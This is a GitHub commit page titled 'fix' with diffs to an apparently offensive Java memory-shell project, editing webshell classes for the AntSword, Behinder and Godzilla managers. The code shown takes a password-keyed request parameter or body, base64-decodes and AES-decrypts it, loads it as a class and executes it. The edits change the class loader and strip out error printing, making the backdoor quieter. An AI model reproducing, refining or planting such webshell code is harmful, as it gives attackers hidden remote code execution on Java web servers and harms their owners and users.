Skip to content

Commit 2ace2f2

Browse files
committed
fix
1 parent bbfc2e1 commit 2ace2f2

File tree

5 files changed

+8
-16
lines changed

5 files changed

+8
-16
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ public boolean equals(Object obj) {
3131
if (value != null && value.contains(headerValue)) {
3232
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
3333
byte[] bytes = base64Decode(parameter);
34-
Object instance = (new AntSword(this.getClass().getClassLoader())).g(bytes).newInstance();
34+
Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
3535
instance.equals(new Object[]{request, response});
3636
return true;
3737
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ public boolean equals(Object obj) {
4444
map.put("request", request);
4545
map.put("response", getInternalResponse(response));
4646
map.put("session", session);
47-
String parameter = ((BufferedReader) invokeMethod(request, "getReader")).readLine();
47+
String parameter = ((BufferedReader) invokeInternalMethod(request, "getReader")).readLine();
4848
byte[] bytes = x(base64Decode(parameter));
4949
Object instance = (new Behinder(this.getClass().getClassLoader())).g(bytes).newInstance();
5050
instance.equals(map);
@@ -66,8 +66,7 @@ public byte[] x(byte[] s) {
6666
initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
6767
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
6868
return ((byte[]) doFinalMethod.invoke(c, s));
69-
} catch (Exception e) {
70-
e.printStackTrace();
69+
} catch (Exception ignored) {
7170
return null;
7271
}
7372
}
@@ -122,7 +121,7 @@ public static byte[] base64Decode(String bs) {
122121
}
123122

124123
@SuppressWarnings("all")
125-
public static Object invokeMethod(Object obj, String methodName) {
124+
public static Object invokeInternalMethod(Object obj, String methodName) {
126125
try {
127126
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
128127
Method method = null;
@@ -133,10 +132,6 @@ public static Object invokeMethod(Object obj, String methodName) {
133132
clazz = clazz.getSuperclass();
134133
}
135134
}
136-
if (method == null) {
137-
throw new NoSuchMethodException("Method not found: " + methodName);
138-
}
139-
140135
method.setAccessible(true);
141136
return method.invoke(obj instanceof Class ? null : obj);
142137
} catch (Exception e) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,8 +52,7 @@ public boolean equals(Object obj) {
5252
}
5353
return true;
5454
}
55-
} catch (Exception e) {
56-
e.printStackTrace();
55+
} catch (Exception ignored) {
5756
}
5857
return false;
5958
}

0 commit comments

Comments
 (0)